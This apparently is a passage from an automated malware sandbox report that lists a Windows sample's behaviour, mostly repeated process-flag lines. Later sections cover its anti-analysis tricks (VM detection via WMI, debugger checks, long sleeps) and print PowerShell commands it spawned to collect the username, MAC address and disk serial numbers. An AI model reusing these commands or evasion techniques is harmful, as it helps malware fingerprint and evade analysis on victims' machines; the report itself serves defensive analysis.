Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe TID: 5736	Thread sleep time: -30987s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5352	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6072	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe TID: 4112	Thread sleep time: -30792s >= -30000s	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe TID: 4112	Thread sleep time: -30908s >= -30000s	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe TID: 4112	Thread sleep time: -32018s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4520	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1065	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1857	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2595	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5118	Jump to behavior

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	API coverage: 8.8 %
Source: C:\ProgramData\SystemData\igfxCUIService.exe	API coverage: 8.5 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\SystemData\igfxCUIService.exe

Code function: 7_2_00D4B17F FindFirstFileExW,

7_2_00D4B17F

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Thread delayed: delay time: 30987	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Thread delayed: delay time: 30792	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Thread delayed: delay time: 30908	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Thread delayed: delay time: 32018	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

Code function: 0_2_00C01195 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00C01195

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

Code function: 0_2_00BD40F0 GetProcessHeap,__Init_thread_footer,__Init_thread_footer,

0_2_00BD40F0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C02B5D mov eax, dword ptr fs:[00000030h]	0_2_00C02B5D
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C0AF0E mov eax, dword ptr fs:[00000030h]	0_2_00C0AF0E
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D42B5D mov eax, dword ptr fs:[00000030h]	7_2_00D42B5D
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D4AF0E mov eax, dword ptr fs:[00000030h]	7_2_00D4AF0E

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00C01195 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00C01195
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BF4DD5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00BF4DD5
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: 0_2_00BF46CB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00BF46CB
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D34F68 SetUnhandledExceptionFilter,	7_2_00D34F68
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D41195 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00D41195
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D346CB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00D346CB
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: 7_2_00D34DD5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00D34DD5

HIPS / PFW / Operating System Protection Evasion:

Encrypted powershell cmdline option found

Show sources

Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: Base64 decoded [B> j^6jm&Z"}+"qfyRzmb'rb}#6i,jzjlm
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $env:username \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\tempu.txt'
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: Base64 decoded [B> j^6jm&Z"}+"qfyRzmb'rb}#6i,jzjlm	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $env:username \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\tempu.txt'	Jump to behavior

Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'			Jump to behavior

